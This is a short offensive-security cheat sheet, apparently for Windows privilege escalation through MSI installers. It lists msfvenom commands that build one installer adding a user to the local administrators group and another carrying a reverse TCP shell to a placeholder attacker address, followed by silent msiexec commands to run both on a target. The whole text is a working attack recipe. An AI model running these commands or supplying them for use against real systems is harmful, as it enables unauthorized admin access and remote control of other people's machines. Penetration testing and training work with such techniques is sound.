# Generate payload to add user to admin group
msfvenom -p windows/exec CMD='net localgroup administrators user /add' -f msi-nouac -o setup.msi
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f msi -o reverse.msi
# Run it on the target machine:
msiexec /quiet /qn /i setup.msi
msiexec /quiet /qn /i reverse.msi <--- Needs a netcat listener